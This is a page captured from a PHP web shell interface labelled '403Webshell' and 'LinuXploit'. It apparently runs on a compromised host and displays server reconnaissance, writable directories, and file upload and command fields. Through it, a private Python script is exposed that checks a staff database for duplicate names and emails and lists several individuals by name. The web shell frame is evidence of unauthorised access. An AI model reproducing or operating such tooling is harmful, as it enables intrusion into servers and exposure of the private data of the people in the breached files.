403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr//check_duplicates.py
import json
db = json.load(open("/home/rmlac2fmr/public_html/jn.com/ops/data/db.json"))

batch4_names = [
    "Deb Cavanaugh", "Marc Bloomgarden", "Dean Brown", "Matt Nowak",
    "Len Applefeld", "Karl Bontrager", "TJ Rosepink", "Samantha A. Seymour",
    "Azizeh Isa", "Jay Hall", "Paul Woodson"
]

print("=== Checking for duplicates in database ===\n")
for name in batch4_names:
    parts = name.lower().split()
    last = parts[-1]
    first = parts[0]
    
    matches = [p for p in db["persons"] if 
        last in p.get("lastName","").lower() and 
        first in p.get("firstName","").lower()]
    
    if len(matches) > 1:
        print(f"⚠ DUPLICATE: {name} — {len(matches)} profiles found:")
        for m in matches:
            assignments = [a for a in db["assignments"] if a["personId"] == m["id"]]
            requests = [r for r in db["travelRequests"] if r["personId"] == m["id"]]
            print(f"    {m['id']} {m['firstName']} {m['lastName']} email:{m.get('email','')} assignments:{len(assignments)} requests:{len(requests)}")
    elif len(matches) == 1:
        print(f"  ✓ {name} — 1 profile: {matches[0]['id']}")
    else:
        print(f"  ✗ {name} — NOT FOUND in database")

# Also check ALL persons for duplicates by email
print("\n=== Checking ALL persons for email duplicates ===")
emails = {}
for p in db["persons"]:
    e = p.get("email","").lower().strip()
    if e:
        if e in emails:
            emails[e].append(p)
        else:
            emails[e] = [p]

for e, persons in emails.items():
    if len(persons) > 1:
        print(f"\n⚠ DUPLICATE EMAIL: {e}")
        for p in persons:
            assignments = [a for a in db["assignments"] if a["personId"] == p["id"]]
            print(f"    {p['id']} {p['firstName']} {p['lastName']} assignments:{len(assignments)}")

# Check for duplicate names across entire DB
print("\n=== Checking ALL persons for name duplicates ===")
names = {}
for p in db["persons"]:
    key = (p.get("firstName","").lower().strip(), p.get("lastName","").lower().strip())
    if key[0] and key[1]:
        if key in names:
            names[key].append(p)
        else:
            names[key] = [p]

for key, persons in names.items():
    if len(persons) > 1:
        print(f"\n⚠ DUPLICATE NAME: {key[0]} {key[1]}")
        for p in persons:
            assignments = [a for a in db["assignments"] if a["personId"] == p["id"]]
            requests = [r for r in db["travelRequests"] if r["personId"] == p["id"]]
            print(f"    {p['id']} email:{p.get('email','')} dept:{p.get('dept','')} assignments:{len(assignments)} requests:{len(requests)}")

Youez - 2016 - github.com/yon3zu
LinuXploit